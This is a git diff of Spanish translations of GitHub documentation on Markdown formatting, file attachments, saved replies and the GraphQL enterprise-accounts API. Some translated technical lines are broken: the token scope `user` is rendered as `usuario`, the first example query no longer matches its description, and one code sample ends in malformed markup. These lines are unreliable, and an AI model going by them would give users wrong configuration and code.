 ---
 
diff --git a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
index ddad82683d..7436ea9f27 100644
--- a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
+++ b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
@@ -22,7 +22,19 @@ También puedes interactuar con otros usuarios en las solicitudes de extracción
 
 Cada campo de comentario en {% data variables.product.product_name %} contiene una barra de herramientas de formato de texto, lo que te permite dar formato a tu texto sin tener que aprender la sintáxis de Markdown. Además del formato de Markdown como la negrita y la cursiva y crear encabezados, enlaces y listados, la barra de herramientas incluye características específicas de {% data variables.product.product_name %}, como las @menciones, los listados de tareas y los enlaces a propuestas y solicitudes de extracción.
 
-![Barra de herramientas de Markdown](/assets/images/help/writing/markdown-toolbar.gif)
+{% if fixed-width-font-gfm-fields %}
+
+## Habilitar fuentes de ancho fijo en el editor
+
+Puedes habilitar las fuentes de ancho fijo en cada campo de comentario de {% data variables.product.product_name %}. Cada carácter en una fuente de ancho fijo o de monoespacio ocupa el mismo espacio horizontal, lo cual hace más fácil la edición de las estructuras de lenguaje de marcado, tales como tablas y fragmentos de código.
+
+![Captura de pantalla que muestra el campo de comentario de {% data variables.product.product_name %} con fuentes de ancho fijo habilitadas](/assets/images/help/writing/fixed-width-example.png)
+
+{% data reusables.user_settings.access_settings %}
+{% data reusables.user_settings.appearance-settings %}
+1. Debajo de "Preferencia de fuente en el editor de lenguaje de marcado", selecciona **Utilizar una fuente de ancho fijo (monoespacio) al editar el lenguaje de marcado**. ![Captura de pantalla que muestra el campo de comentario de {% data variables.product.product_name %} con fuentes de ancho fijo habilitadas](/assets/images/help/writing/enable-fixed-width.png)
+
+{% endif %}
 
 ## Leer más
 
diff --git a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
index 5753951e64..f3c22ea38e 100644
--- a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
+++ b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
@@ -78,6 +78,8 @@ git commit
 
 For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
 
+{% data reusables.user_settings.enabling-fixed-width-fonts %}
+
 ## Links
 
 You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %}
diff --git a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
index 568196ac4e..269c9a60e4 100644
--- a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
+++ b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
@@ -1,10 +1,10 @@
 ---
-title: Getting started with writing and formatting on GitHub
+title: Introducción a la escritura y el formato en GitHub
 redirect_from:
   - /articles/markdown-basics
   - /articles/things-you-can-do-in-a-text-area-on-github
   - /articles/getting-started-with-writing-and-formatting-on-github
-intro: 'You can use simple features to format your comments and interact with others in issues, pull requests, and wikis on GitHub.'
+intro: 'Puedes usar características simples para darles formato a tus comentarios e interactuar con otros en propuestas, solicitudes de extracción y wikis en GitHub.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,6 +13,6 @@ versions:
 children:
   - /about-writing-and-formatting-on-github
   - /basic-writing-and-formatting-syntax
-shortTitle: Start writing on GitHub
+shortTitle: Comenzar a escribir en GitHub
 ---
 
diff --git a/translations/es-ES/content/github/writing-on-github/index.md b/translations/es-ES/content/github/writing-on-github/index.md
index e53ef2f32b..45e6e6b4bf 100644
--- a/translations/es-ES/content/github/writing-on-github/index.md
+++ b/translations/es-ES/content/github/writing-on-github/index.md
@@ -1,11 +1,11 @@
 ---
-title: Writing on GitHub
+title: Escribir en GitHub
 redirect_from:
   - /categories/88/articles
   - /articles/github-flavored-markdown
   - /articles/writing-on-github
   - /categories/writing-on-github
-intro: 'You can structure the information shared on {% data variables.product.product_name %} with various formatting options.'
+intro: 'Puedes estructurar la información que se comparte en {% data variables.product.product_name %} con varias opciones de formateo.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
index 5f8e3d33ce..7d547f5f81 100644
--- a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
+++ b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
@@ -1,6 +1,6 @@
 ---
-title: Attaching files
-intro: You can convey information by attaching a variety of file types to your issues and pull requests.
+title: Adjuntar archivos
+intro: Puedes transmitir información si adjuntas varios tipos de archivo a tus propuestas y solicitudes de cambio.
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/file-attachments-on-issues-and-pull-requests
   - /articles/issue-attachments
@@ -17,44 +17,44 @@ topics:
 
 {% warning %}
 
-**Warning:** If you add an image{% ifversion fpt or ghes > 3.1 or ghae or ghec %} or video{% endif %} to a pull request or issue comment, anyone can view the anonymized URL without authentication, even if the pull request is in a private repository{% ifversion ghes %}, or if private mode is enabled{% endif %}. To keep sensitive media files private, serve them from a private network or server that requires authentication. {% ifversion fpt or ghec %}For more information on anonymized URLs see "[About anonymized URLs](/github/authenticating-to-github/about-anonymized-urls)".{% endif %}
+**Advertencia:** Si agregas una imagen {% ifversion fpt or ghes > 3.1 or ghae or ghec %} o video {% endif %} a un comentario de alguna propuesta o solicitud de cambios, cualquiera podrá ver la URL anonimizada sin autenticación, aún si la solicitud de cambios está en un repositorio privado{% ifversion ghes %}, o si se habilita el modo privado{% endif %}. Para mantener privados archivos de medios sensibles, estos se deben servir desde una red o servidor privados que requieran autenticación. {% ifversion fpt or ghec %}Para obtener más información sobre las URL anonimizadas, consulta la sección "[Acerca de las URL anonimizadas](/github/authenticating-to-github/about-anonymized-urls)".{% endif %}
 
 {% endwarning %}
 
-To attach a file to an issue or pull request conversation, drag and drop it into the comment box. Alternatively, you can click the bar at the bottom of the comment box to browse, select, and add a file from your computer.
+Para adjuntar un archivo a una propuesta o una conversación de una solicitud de extracción, arrástralo y suéltalo en el cuadro de comentarios. Como alternativa, puedes dar clic en la barra al final del recuadro de comentarios para buscar, seleccionar y agregar un archivo desde tu ordenador.
 
-![Select attachments from computer](/assets/images/help/pull_requests/select-bar.png)
+![Seleccionar adjuntos desde el ordenador](/assets/images/help/pull_requests/select-bar.png)
 
 {% tip %}
 
-**Tip:** In many browsers, you can copy-and-paste images directly into the box.
+**Tip:** En varios buscadores, puedes copiar y pegar las imágenes directamente en el campo.
 
 {% endtip %}
 
-The maximum file size is:
-- 10MB for images and gifs{% ifversion fpt or ghec %}
-- 10MB for videos uploaded to a repository owned by a user or organization on a free GitHub plan
-- 100MB for videos uploaded to a repository owned by a user or organization on a paid GitHub plan{% elsif fpt or ghes > 3.1 or ghae %}
-- 100MB for videos{% endif %}
-- 25MB for all other files
+El tamaño máximo de archivo es:
+- 10MB de imágenes y gifs{% ifversion fpt or ghec %}
+- 10MB para videos que se suban a un repositorio que pertenezca a un usuario u organización en un plan gratuito de GitHub
+- 100MB para videos que se suban a los repositorios que pertenezcan a un usuario u organización de un plan de pago de GitHub{% elsif fpt or ghes > 3.1 or ghae %}
+- 100MB para videos{% endif %}
+- 25MB para el resto de los archivos
 
-We support these files:
+Archivos compatibles:
 
 * PNG (*.png*)
 * GIF (*.gif*)
 * JPEG (*.jpg*)
-* Log files (*.log*)
-* Microsoft Word (*.docx*), Powerpoint (*.pptx*), and Excel (*.xlsx*) documents
-* Text files (*.txt*)
-* PDFs (*.pdf*)
+* Archivos de registro (*.log*)
+* Documentos de Microsoft Word (*.docx*), Powerpoint (*.pptx*) y Excel (*.xlsx*)
+* Archivos de texto (*.txt*)
+* PDF (*.pdf*)
 * ZIP (*.zip*, *.gz*){% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 * Video (*.mp4*, *.mov*)
 
 {% note %}
 
-**Note:** Video codec compatibility is browser specific, and it's possible that a video you upload to one browser is not viewable on another browser. At the moment we recommend using h.264 for greatest compatibility.
+**Nota:** La compatibilidad con los codecs de video es específica del buscador y es posible que un video que cargues en uno de los buscadores no se pueda ver en otro de ellos. Por el momento, recomendamos utilizar h.264 para una mejor compatibilidad.
 
 {% endnote %}
 {% endif %}
 
-![Attachments animated GIF](/assets/images/help/pull_requests/dragging_images.gif)
+![GIF animados adjuntos](/assets/images/help/pull_requests/dragging_images.gif)
diff --git a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
index 73219017bb..5c19cd9632 100644
--- a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
+++ b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
@@ -45,6 +45,7 @@ Look! Puedes ver mis comillas inversas.
 
 ![Código cercado interpretado con un bloque de comillas inversas](/assets/images/help/writing/fenced-code-show-backticks-rendered.png)
 
+{% data reusables.user_settings.enabling-fixed-width-fonts %}
 
 ## Resaltado de la sintaxis
 
diff --git a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/index.md b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/index.md
index 48cb432198..dc1cd1390e 100644
--- a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/index.md
+++ b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with advanced formatting
-intro: 'Formatting like tables, syntax highlighting, and automatic linking allows you to arrange complex information clearly in your pull requests, issues, and comments.'
+title: Trabajar con formato avanzado
+intro: 'Los formatos como tablas, resaltado de la sintaxis y enlace automático te permiten organizar la información compleja claramente en tus solicitudes de extracción, propuestas y comentarios.'
 redirect_from:
   - /articles/working-with-advanced-formatting
 versions:
@@ -16,6 +16,6 @@ children:
   - /attaching-files
   - /creating-a-permanent-link-to-a-code-snippet
   - /using-keywords-in-issues-and-pull-requests
-shortTitle: Work with advanced formatting
+shortTitle: Trabajar con formato avanzado
 ---
 
diff --git a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
index 88fc964d9f..0f75b863bf 100644
--- a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
+++ b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
@@ -1,6 +1,6 @@
 ---
 title: Organizing information with collapsed sections
-intro: 'You can streamline your Markdown by creating a collapsed section with the `<details>` tag.'
+intro: You can streamline your Markdown by creating a collapsed section with the `<details>` tag.
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,6 +8,7 @@ versions:
   ghec: '*'
 shortTitle: Collapsed sections
 ---
+
 ## Creating a collapsed section
 
 You can temporarily obscure sections of your Markdown by creating a collapsed section that the reader can choose to expand. For example, when you want to include technical details in an issue comment that may not be relevant or interesting to every reader, you can put those details in a collapsed section.
@@ -24,9 +25,7 @@ Any Markdown within the `<details>` block will be collapsed until the reader cli
       puts "Hello World"
     ```
 
-</p>
-</details>
-```
+</details> ```</p>
 
 The Markdown will be collapsed by default.
 
@@ -36,7 +35,7 @@ After a reader clicks {% octicon "triangle-right" aria-label="The right triange
 
 ![Rendered open](/assets/images/help/writing/open-collapsed-section.png)
 
-## Further reading
+## Leer más
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [{% data variables.product.prodname_dotcom %} Especificaciones del formato Markdown](https://github.github.com/gfm/)
+- [Sintaxis de escritura y formato básicos](/articles/basic-writing-and-formatting-syntax)"
diff --git a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
index d3e0e60f92..1b7b5022d1 100644
--- a/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
+++ b/translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
@@ -39,6 +39,8 @@ Las celdas pueden variar en el ancho y no es necesario que estén perfectamente
 
 ![Tabla presentada con ancho de celda variado](/assets/images/help/writing/table-varied-columns-rendered.png)
 
+{% data reusables.user_settings.enabling-fixed-width-fonts %}
+
 ## Formatear el contenido dentro de tu tabla
 
 Puedes utilizar [formato](/articles/basic-writing-and-formatting-syntax) como enlaces, bloques de códigos insertados y el estilo de texto dentro de tu tabla:
diff --git a/translations/es-ES/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md b/translations/es-ES/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
index 45ee882eba..b7cb99da6e 100644
--- a/translations/es-ES/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
+++ b/translations/es-ES/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
@@ -1,6 +1,6 @@
 ---
-title: Editing a saved reply
-intro: You can edit the title and body of a saved reply.
+title: Editar una respuesta guardada
+intro: Puedes editar el título y el cuerpo de una respuesta guardada.
 redirect_from:
   - /articles/changing-a-saved-reply
   - /articles/editing-a-saved-reply
@@ -11,17 +11,16 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.saved_replies %}
-3. Under "Saved replies", next to the saved reply you want to edit, click {% octicon "pencil" aria-label="The pencil" %}.  
-![Edit a saved reply](/assets/images/help/settings/saved-replies-edit-existing.png)
-4. Under "Edit saved reply", you can edit the title and the content of the saved reply.
-![Edit title and content](/assets/images/help/settings/saved-replies-edit-existing-content.png)
-5. Click **Update saved reply**.
-![Update saved reply](/assets/images/help/settings/saved-replies-save-edit.png)
+3. En "Respuestas guardadas", junto a la respuesta guardada que deseas editar, haz clic en {% octicon "pencil" aria-label="The pencil" %}.  
+   ![Editar una respuesta guardada](/assets/images/help/settings/saved-replies-edit-existing.png)
+4. En "Editar una respuesta guardada", puedes editar el título y el contenido de la respuesta guardada. ![Editar título y contenido](/assets/images/help/settings/saved-replies-edit-existing-content.png)
+5. Haz clic en **Actualizar una respuesta guardada**. ![Actualizar una respuesta guardada](/assets/images/help/settings/saved-replies-save-edit.png)
 
-## Further reading
+## Leer más
 
-- "[Creating a saved reply](/articles/creating-a-saved-reply)"
-- "[Deleting a saved reply](/articles/deleting-a-saved-reply)"
-- "[Using saved replies](/articles/using-saved-replies)"
+- "[Crear una respuesta guardada](/articles/creating-a-saved-reply)"
+- "[Eliminar una respuesta guardada](/articles/deleting-a-saved-reply)"
+- "[Usar respuestas guardadas](/articles/using-saved-replies)"
diff --git a/translations/es-ES/content/graphql/guides/index.md b/translations/es-ES/content/graphql/guides/index.md
index 7311e5cf39..44e25630c8 100644
--- a/translations/es-ES/content/graphql/guides/index.md
+++ b/translations/es-ES/content/graphql/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about getting started with GraphQL, migrating from REST to GraphQL, and how to use the GitHub GraphQL API for a variety of tasks.'
+title: Guías
+intro: 'Aprende sobre como emepzar con GraphQL, migrarte desde REST hacia GraphQL, y cómo utilizar la API de GraphQL de GitHub para tareas diversas.'
 redirect_from:
   - /v4/guides
 versions:
diff --git a/translations/es-ES/content/graphql/guides/managing-enterprise-accounts.md b/translations/es-ES/content/graphql/guides/managing-enterprise-accounts.md
index c14b543958..33e632a256 100644
--- a/translations/es-ES/content/graphql/guides/managing-enterprise-accounts.md
+++ b/translations/es-ES/content/graphql/guides/managing-enterprise-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Managing enterprise accounts
-intro: You can manage your enterprise account and the organizations it owns with the GraphQL API.
+title: Administrar cuentas empresariales
+intro: Puedes administrar tu cuenta empresarial y las organizaciones que le pertenecen con la API de GraphQL.
 redirect_from:
   - /v4/guides/managing-enterprise-accounts
 versions:
@@ -9,125 +9,113 @@ versions:
   ghae: '*'
 topics:
   - API
-shortTitle: Manage enterprise accounts
+shortTitle: Administrar cuentas empresariales
 ---
 
-## About managing enterprise accounts with GraphQL
+## Acerca de administrar cuentas empresariales con GraphQL
 
-To help you monitor and make changes in your organizations and maintain compliance, you can use the Enterprise Accounts API and the Audit Log API, which are only available as GraphQL APIs.
+Para ayudarte a monitorear y hacer cambios en tu organización y mantener el cumplimiento, puedes utilizar la API de Cuentas Empresariales y la API de Bitácoras de Auditoría, las cuales se encuentran disponibles únicamente como API de GraphQL.
 
-The enterprise account endpoints work for both GitHub Enterprise Cloud and for GitHub Enterprise Server.
+Las terminales de cuenta empresarial funcionan tanto para GitHub Enterprise Cloud y GitHub Enterprise Server.
 
-GraphQL allows you to request and return just the data you specify. For example, you can create a GraphQL query, or request for information, to see all the new organization members added to your organization. Or you can make a mutation, or change, to invite an administrator to your enterprise account.
+GraphQL te permite solicitar y recuperar únicamente los datos que especificas. Por ejemplo, puedes crear una consulta de GraphQL, o hacer una solicitud de información, para ver todos los nuevos miembros que se agregaron a tu organización. O puedes hacer una mutación, o cambio, para invitar a un administrador a tu cuenta empresarial.
 
-With the Audit Log API, you can monitor when someone:
-- Accesses your organization or repository settings.
-- Changes permissions.
-- Adds or removes users in an organization, repository, or team.
-- Promotes users to admin.
-- Changes permissions of a GitHub App.
+Con la API de Bitácoras de Auditoria, puedes monitorear cuando alguien:
+- Accede a tu configuración de organización o de repositorio.
+- Cambia los permisos.
+- Agrega o elimina usuarios en una organización, repositorio, o equipo.
+- Promueve algún usuario a administrador.
+- Cambia los permisos de GitHub App.
 
-The Audit Log API enables you to keep copies of your audit log data. For queries made with the Audit Log API, the GraphQL response can include data for up to 90 to 120 days. For a list of the fields available with the Audit Log API, see the "[AuditEntry interface](/graphql/reference/interfaces#auditentry/)."
+La API de Bitácoras de Auditoría te permite mantener las copias de tus datos de bitácoras de auditoria. Para las consultas realizadas con la API de Bitácoras de Auditoria, la respuesta de GraphQL puede incluir datos de hasta 90 a 120 días. Para encontrar una lista de los campos disponibles con la API de Bitácoras de Auditoria, consulta la "[interface AuditEntry](/graphql/reference/interfaces#auditentry/)".
 
-With the Enterprise Accounts API, you can:
-- List and review all of the organizations and repositories that belong to your enterprise account.
-- Change Enterprise account settings.
-- Configure policies for settings on your enterprise account and its organizations.
-- Invite administrators to your enterprise account.
-- Create new organizations in your enterprise account.
+Con la API de Cuentas Empresariales puedes:
+- Listar y revisar todas las organizaciones y repositorios que pertenecen a tu cuenta empresarial.
+- Cambiar la configuración de la cuenta empresarial.
+- Configurar políticas para la configuración en tu cuenta empresarial y sus organizaciones.
+- Invitar administradores a tu cuenta empresarial.
+- Crear nuevas organizaciones en tu cuenta empresarial.
 
-For a list of the fields available with the Enterprise Accounts API, see "[GraphQL fields and types for the Enterprise account API](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)."
+Para encontrar una lista de los campos disponibles con la API de Cuentas Empresariales, consulta "[Campos y tipos de GraphQL para la API de cuenta empresarial](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)".
 
-## Getting started using GraphQL for enterprise accounts
+## Comenzar a utilizar GraphQL para cuentas empresariales
 
-Follow these steps to get started using GraphQL to manage your enterprise accounts:
- - Authenticating with a personal access token
- - Choosing a GraphQL client or using the GraphQL Explorer
- - Setting up Insomnia to use the GraphQL API
+Sigue estos pasos para comenzar a utilizar GraphQL para administrar tus cuentas empresariales:
+ - Autenticarte con un token de acceso personal
+ - Elegir un cliente de GraphQL o utilizar el Explorador de GraphQL
+ - Configurar Insomnia para utilizar la API de GraphQL
 
-For some example queries, see "[An example query using the Enterprise Accounts API](#an-example-query-using-the-enterprise-accounts-api)."
+Para encontrar algunas consultas de ejemplo, visita la sección "[Una consulta de ejemplo utilizando la API de Cuentas Empresariales](#an-example-query-using-the-enterprise-accounts-api)".
 
-### 1. Authenticate with your personal access token
+### 1. Autenticarte con tu token de acceso personal
 
-1. To authenticate with GraphQL, you need to generate a personal access token (PAT) from developer settings. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. Para autenticarte con GraphQL, necesitas generar un token de acceso personal (PAT) desde la configuración de desarrollador. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
-2. Grant admin and full control permissions to your personal access token for areas of GHES you'd like to access. For full permission to private repositories, organizations, teams, user data, and access to enterprise billing and profile data, we recommend you select these scopes for your personal access token:
+2. Porporciona permisos de control total a tu token de acceso personal para las áreas de GHES a las que quisieras acceder. Para tener permiso total a los repositorios privados, organizaciones, equipos, datos de usuario y acceso a la facturación empresarial y datos de perfil, te recomendamos que selecciones estos alcances para tu token de acceso personal:
     - `repo`
     - `admin:org`
-    - `user`
+    - `usuario`
     - `admin:enterprise`
 
-  The enterprise account specific scopes are:
-    - `admin:enterprise`: Gives full control of enterprises (includes {% ifversion ghes > 3.2 or ghae or ghec %}`manage_runners:enterprise`, {% endif %}`manage_billing:enterprise` and `read:enterprise`)
-    - `manage_billing:enterprise`: Read and write enterprise billing data.{% ifversion ghes > 3.2 or ghae  %}
-    - `manage_runners:enterprise`: Access to manage GitHub Actions enterprise runners and runner-groups.{% endif %}
-    - `read:enterprise`: Read enterprise profile data.
+  Los alcances específicos para la cuenta empresarial son:
+    - `admin:enterprise`: Proporciona control total de las empresas (incluye a {% ifversion ghes > 3.2 or ghae or ghec %}`manage_runners:enterprise`, {% endif %}`manage_billing:enterprise` y `read:enterprise`)
+    - `manage_billing:enterprise`: Lee y escribe datos de facturación empresarial.{% ifversion ghes > 3.2 or ghae  %}
+    - `manage_runners:enterprise`: Acceso para administrar los ejecutores y grupos de ejecutores empresariales de GitHub Actions.{% endif %}
+    - `read:enterprise`: Lee datos del perfil empresarial.
 
-3. Copy your personal access token and keep it in a secure place until you add it to your GraphQL client.
+3. Copia tu token de acceso personal y mantenlo en un lugar seguro hasta que lo agregues a tu cliente de GraphQL.
 
-### 2. Choose a GraphQL client
+### 2. Elige un cliente de GraphQL
 
-We recommend you use GraphiQL or another standalone GraphQL client that lets you configure the base URL.
+Te recomendamos utilizar GraphiQL u otro cliente independiente de GraphQL que te permita configurar la URL base.
 
-You may also consider using these GraphQL clients:
+También podrás considerar utilizar estos clientes de GraphQL:
   - [Insomnia](https://support.insomnia.rest/article/176-graphql-queries)
   - [GraphiQL](https://www.gatsbyjs.org/docs/running-queries-with-graphiql/)
   - [Postman](https://learning.getpostman.com/docs/postman/sending_api_requests/graphql/)
 
-The next steps will use Insomnia.
+Los siguientes pasos utilizarán Insomnia.
 
-### 3. Setting up Insomnia to use the GitHub GraphQL API with enterprise accounts
+### 3. Configurar Insomnia para utilizar la API de GraphQL de GitHub con cuentas empresariales
 
-1. Add the base url and `POST` method to your GraphQL client. When using GraphQL to request information (queries), change information (mutations), or transfer data using the GitHub API, the default HTTP method is `POST` and the base url follows this syntax:
-    - For your enterprise instance: `https://<HOST>/api/graphql`
-    - For GitHub Enterprise Cloud: `https://api.github.com/graphql`
+1. Agrega la url base y el método `POST` a tu cliente de GraphQL. Cuando utilices GraphQL para solicitar información (consultas), cambiar información (mutaciones), o transferir datos utilizando la API de GitHub, el método HTTP predeterminado es `POST` y la url base sigue esta sintaxis:
+    - Para tu instancia empresarial: `https://<HOST>/api/graphql`
+    - Para GitHub Enterprise Cloud: `https://api.github.com/graphql`
 
-2. To authenticate, open the authentication options menu and select **Bearer token**. Next, add your personal access token that you copied earlier.
+2. Para autenticarte, abre el menú de opciones de autenticación y selecciona **Token titular**. A continuación, agrega tu token de acceso personal, el cual habías copiado.
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
+ ![Opciones de permisos para el token de acceso personal](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
+ ![Opciones de permisos para el token de acceso personal](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
 
-3. Include header information.
-   - Add `Content-Type` as the header and `application/json` as the value.
-   ![Standard header](/assets/images/developer/graphql/json-content-type-header.png)
-   ![Header with preview value for the Audit Log API](/assets/images/developer/graphql/preview-header-for-2.18.png)
+3. Incluye la información del encabezado.
+   - Agrega `Content-Type` como el encabezado y `application/json` como el valor. ![Encabezado estándar](/assets/images/developer/graphql/json-content-type-header.png) ![Encabezado con valor de vista previa para la API de Bitácoras de Auditoría](/assets/images/developer/graphql/preview-header-for-2.18.png)
 
-Now you are ready to start making queries.
+Ahora estás listo para comenzar a hacer consultas.
 
-## An example query using the Enterprise Accounts API
+## Un ejemplo de consulta utilizando la API de Cuentas Empresariales
 
-This GraphQL query requests the total number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each of your appliance's organizations using the Enterprise Accounts API. To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`.
+Esta consulta de GraphQL solicita la cantidad total de {% ifversion not ghae %} repositorios `public`{% else %} repositorios`private`{% endif %} en cada una de las organizaciones de tu aplicativo que utilizan la API de cuentas empresariales. Para personalizar esta consulta, reemplaza a `<enterprise-account-name>` con el manejo de tu cuenta empresarial. Por ejempñlo, si tu cuenta empresarial se ubica en `https://github.com/enterprises/octo-enterprise`, reemplaza a `<enterprise-account-name>` con `octo-enterprise`.
 
 {% ifversion not ghae %}
 
 ```graphql
-query publicRepositoriesByOrganization($slug: String!) {
-  enterprise(slug: $slug) {
-    ...enterpriseFragment
+query publicRepositoriesByOrganization {
+  organizationOneAlias: organization(login: "<name-of-organization-one>") {
+    # How to use a fragment
+    ...repositories
   }
-}
-
-fragment enterpriseFragment on Enterprise {
-  ... on Enterprise{
-    name
-    organizations(first: 100){
-      nodes{
-        name
-        ... on Organization{
-          name
-          repositories(privacy: PUBLIC){
-            totalCount
-          }
-        }
-      }
-    }
+  organizationTwoAlias: organization(login: "<name-of-organization-two>") {
+    ...repositories
   }
+  # organizationThreeAlias ... and so on up-to lets say 100
 }
-
-# Passing our Enterprise Account as a variable
-variables {
-  "slug": "<enterprise-account-name>"
+# How to define a fragment
+fragment repositories on Organization {
+  name
+  repositories(privacy: PUBLIC){
+    totalCount
+  }
 }
 ```
 
@@ -164,7 +152,7 @@ variables {
 ```
 {% endif %}
 
-The next GraphQL query example shows how challenging it is to retrieve the number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each organization without using the Enterprise Account API.  Notice that the GraphQL Enterprise Accounts API has made this task simpler for enterprises since you only need to customize a single variable. To customize this query, replace `<name-of-organization-one>` and `<name-of-organization-two>`, etc. with the organization names on your instance.
+El siguiente ejemplo de consulta de GraphQL muestra lo retador que es el recuperar la cantidad de repositorios {% ifversion not ghae %}`public`{% else %}`private`{% endif %} en cada organización sin utilizar la API de Cuenta Empresarial.  Nota que la API de Cuentas Empresariales de GraphQL ha hecho esta tarea más simple para las empresas, ya que solo necesitas personalizar una sola variable. Para personalizar esta consulta, reemplaza `<name-of-organization-one>` y `<name-of-organization-two>`, etc. con los nombres de organización en tu instancia.
 
 {% ifversion not ghae %}
 ```graphql
@@ -212,7 +200,7 @@ fragment repositories on Organization {
 ```
 {% endif %}
 
-## Query each organization separately
+## Consulta a cada organización por separado
 
 {% ifversion not ghae %}
 
@@ -260,7 +248,7 @@ fragment repositories on Organization {
 
 {% endif %}
 
-This GraphQL query requests the last 5 log entries for an enterprise organization. To customize this query, replace `<org-name>` and `<user-name>`.
+Esta consulta de GraphQL solicita las últimas 5 entradas de bitácora para una organización empresarial. Para personalizar este query, reemplaza `<org-name>` y `<user-name>`.
 
 ```graphql
 {
@@ -286,13 +274,12 @@ This GraphQL query requests the last 5 log entries for an enterprise organizatio
 }
 ```
 
-For more information about getting started with GraphQL, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)" and "[Forming Calls with GraphQL](/graphql/guides/forming-calls-with-graphql)."
+Para obtener más información acerca de cómo comenzar con GraphQL, consulta las secciónes "[Introducción a GraphQL](/graphql/guides/introduction-to-graphql)" y "[Formar Llamados con GraphQL](/graphql/guides/forming-calls-with-graphql)".
 
-## GraphQL fields and types for the Enterprise Accounts API
+## Campos y tipos de GraphQL para la API de Cuentas Empresariales
 
-Here's an overview of the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API.
+Aquí tienes un resumen de las nuevas consultas, mutaciones y tipos definidos por modelos disponibles para utilizarse con la API de Cuentas Empresariales.
 
